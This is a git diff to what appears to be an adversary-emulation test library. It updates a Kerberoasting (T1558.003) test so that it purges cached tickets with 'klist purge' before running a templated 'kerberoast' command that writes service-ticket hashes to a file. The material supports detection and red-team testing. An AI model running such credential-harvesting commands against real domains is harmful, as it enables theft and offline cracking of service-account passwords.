diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index 4e80f849..2078a025 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -2705,10 +2705,9 @@ credential-access:
 
 '
       executor:
-        command: 'cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags}
-          /outfile:"#{local_folder}\#{out_file}"
-
-'
+        command: |
+          klist purge
+          cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}"
         cleanup_command: 'Remove-Item #{local_folder}\#{out_file} -ErrorAction Ignore
 
 '
diff --git a/atomics/T1558.003/T1558.003.md b/atomics/T1558.003/T1558.003.md
index f8f17627..a160ea8c 100644
--- a/atomics/T1558.003/T1558.003.md
+++ b/atomics/T1558.003/T1558.003.md
@@ -99,6 +99,7 @@ This build targets .NET 4.5.  If targeting a different version you will need to
 
 
 ```powershell
+klist purge
 cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}"
 ```